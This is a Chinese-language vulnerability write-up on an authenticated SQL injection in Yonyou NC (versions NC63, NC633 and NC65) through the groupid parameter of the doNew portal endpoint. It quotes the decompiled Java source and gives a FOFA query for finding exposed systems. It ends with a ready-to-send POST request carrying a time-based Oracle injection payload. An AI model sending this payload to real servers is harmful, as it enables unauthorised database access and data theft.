漏洞简介
用友NC系统可利用/portal/pt/portalpage/doNew接口中的 groupid 参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC63、NC633、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
本来是根据官方漏洞通告追workflowImageServlet和importPml接口的SQL注入,不曾巧发现了同文件里的其他注入点 doNew

因此搜索 doNew 方法的实现部分即可定位文件
nc/uap/portal/action/PortalPageManagerAction.class
package nc.uap.portal.action;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import nc.uap.lfw.core.AppInteractionUtil;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.login.vo.LfwSessionBean;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.constant.PortalEnv;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.service.itf.IPtPageQryService;
import nc.uap.portal.util.PmlUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.PtUtil;
import nc.uap.portal.vo.PtPageVO;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFBoolean;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.multipart.MultipartException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.multipart.MultipartResolver;
import org.springframework.web.multipart.commons.CommonsMultipartResolver;
import org.xml.sax.SAXException;
import uap.lfw.core.ml.LfwResBundle;
import uap.portal.cache.PageCacheHelper;
@Servlet(
path = "/portalpage"
)
public class PortalPageManagerAction extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
public PortalPageManagerAction() {
}
@Action(
method = "POST"
)
public void doNew(@Param(name = "groupid") String pk_group, @Param(name = "pml") String pml) {
LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
if (pml != null && ses != null) {
try {
Page page = PmlUtil.parser(URLDecoder.decode(pml, "UTF-8"));
String pagename = page.getPagename();
if (page == null || PtUtil.isNull(pagename)) {
return;
}
IPtPageQryService qry = PortalServiceUtil.getPageQryService();
PtPageVO[] pages = qry.getPagesByCondition(" pk_group='" + pk_group + "' and pagename='" + pagename + "' and fk_pageuser='*'");
if (!ArrayUtils.isEmpty(pages)) {
this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PageManagerMainViewController-000030") + "</detail></result>");
return;
}
PtPageVO vo = this.pml2vo(page, pk_group);
vo.setNewversion("1");
String pk = PortalServiceUtil.getPageService().add(vo);
this.print("<result><success>true</success><pk>" + pk + "</pk></result>");
} catch (UnsupportedEncodingException e) {
PortalLogger.error(e.getMessage(), e);
} catch (SAXException e) {
PortalLogger.error(e.getMessage(), e);
this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000000") + "</detail></result>");
} catch (BusinessException e) {
PortalLogger.error(e.getMessage(), e);
this.print("<result><success>false</success><detail>" + e.getMessage() + "</detail></result>");
}
PageCacheHelper.updatePageCache();
}
}
pml 需要不为空或null,且存在 pagename 节点(XML内容)同时需要有登录权限
groupid 即 pk_group 直接拼接进 getPagesByCondition 语句中,其实现逻辑及其后续处理参考 用友NC setting/renew sql注入漏洞 部分,都是相同的调用处理,这里不再赘述。
最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。
漏洞复现
漏洞利用需要注意只能是post方法,且因为 LfwRuntimeEnvironment.getLfwSessionBean() 存在需要登录权限。
POST /portal/pt/portalpage/doNew?pageId=login HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xx.server
Content-Type: application/x-www-form-urlencoded
Content-Length: 293
groupid=1' AND 3040=DBMS_PIPE.RECEIVE_MESSAGE('RDS',3)--&pml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cpage+template%3D%22adminonerow%22+version%3D%22101%22++i18nname%3D%22admin-00001%22++visibility%3D%220%22+pagename%3D%22default%22%3E%0D%0A%3C%2Fpage%3E
参考
https://security.yonyou.com/#/noticeInfo?id=658https://security.yonyou.com/#/noticeInfo?id=524





